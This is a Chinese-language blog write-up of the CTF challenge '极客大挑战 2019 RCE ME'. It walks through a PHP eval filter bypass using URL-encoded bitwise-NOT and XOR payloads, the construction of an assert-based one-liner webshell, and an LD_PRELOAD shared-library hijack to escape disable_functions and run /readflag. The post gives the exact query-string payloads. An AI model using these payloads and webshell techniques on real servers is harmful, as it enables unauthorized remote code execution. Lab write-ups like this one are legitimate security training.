[极客大挑战 2019]RCE ME 1

打开链接,发现是php审计

 

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}
// ?>

 

 

 

发现过滤了大小写字母以及数字,这里可以利用url编码取反绕过,或者异或绕过

异或就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

 

<?php$s = 'phpinfo';echo urlencode(~$s);#%8F%97%8F%96%91%99%90

 

?>

 

 

 

 

也可以异或绕过:

 

 构造playload:?code=(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();

查看phpinfo();搜索flag,并没有发现,然后看到。

 

这里禁用了很多函数

接着构造一句话木马,获取shell

这里卡了好长时间,一直没搞懂assert这个函数

看到网上构造的playload

<?php

error_reporting(0);

$a='assert';

$b=urlencode(~$a);

echo $b;

echo "<br>";

$c='(eval($_POST["test"]))';

$d=urlencode(~$c);

echo $d;

 ?>

 

 

由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用所以我们需要用assert来构造但是由于版本原因,

我在网上查到的

 

并不能使用,我们只能利用(assert)(eval($_POST["test"]))这样的形式来构造这样的一句话木马。

assert()参数放入函数,就会执行

 

 

 

 

传入字符串的话,在某些版本中应该也可以执行。

 

 

 

 

 

 

<?php

    $a='assert';

    $b='eval';

    $c='phpinfo();';

    echo $a($c);

    echo  "<br>-----------分隔线---------<br>";

?>

php7版本中可以这样用,但是7.4就不可以了。。。。。

获得shell后,用蚁剑连接

 

 

 发现了flag,但是打不开,所以这里要用readflag去读取flag。

 

但是发现我拿到的是一个无效的shell。。。。。。

这里有两种解法,都记录一下

其一:通过环境变量LD_PRELOAD+mail劫持so来执行系统命令(参考大佬链接:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

编译:将源程序转换为扩展名为.obj的二进制代码
连接:将obj文件进行连接,加入库函数等生成可执行文件
运行:执行可执行文件,有错返回修改,无错结束

代码在编译成程序的时候有一个过程叫做链接-->将所引用的函数与变量链接到可执行程序中.编译过程中将所有的函数库链接完毕叫做静态链接,而动态链接则是编译过程中不进行链接操作,在程序运行时再动态的载入函数库.不管是静态链接还是动态链接,目的都很明确,载入函数库.

 LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库.

先简单测试一下

注: id:用于显示用户的ID,以及所属群组的ID。

readelf:用于显示读取ELF文件中信息, 也可以用man命令窥其全貌。它用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。

strace:是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等

以id为例

 

 看看id命令执行过程中可能会调用的函数表

 

 使用strace跟踪id的实际调用情况

 

以劫持getgid为例.

getgid()函数用来取得执行目前进程的组识别码。

构造一个与之原型相同的函数并将之编译为共享库文件.如下

其中:

unsetenv函数

  头文件:#include<stdlib.h>

  函数原型: int unsetenv(const char* name)

  函数说明:删除name环境变量的定义,即使不存在也不会出错

  参数:name为环境变量名称字符串。 

  返回值:成功返回0,错误返回-1.

第一次运行到自己的写的getuid()函数时就unsetenv这个环境变量,保证之后的正常调用

编译为共享库

gcc --shared -fPIC rob.c -o rob.so

然后载入这个库并运行id命令.

 

本题 要用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上.总之使用LD_PRELOAD就是通过这个环境变量,覆盖掉正常的函数库中的函数。

 注:putenv 函数用来向环境表中 添加或者修改 环境变量。

简单来说如下:

利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

 

 

 但是这种方法,需要我们去找所要劫持的函数。然而劫持进程则不需要考虑前者。GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数.

具体步骤:

 

在/var/tmp/目录存在上传权限,上传我们的exp

 

 

 然后构造playload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

得到flag

 

其二:

蚁剑有个插件可以绕过disable_functions

使用该插件,选择PHP_GC_UAF模式

 

 

 

 

 点击开始,然后就可以执行命令了。

参考链接:https://www.cnblogs.com/Article-kelp/p/14723715.html

                  https://www.cnblogs.com/Article-kelp/p/14698234.html

 

posted @ 2021-10-18 20:30  微草wd  阅读(1276)  评论(0编辑  收藏  举报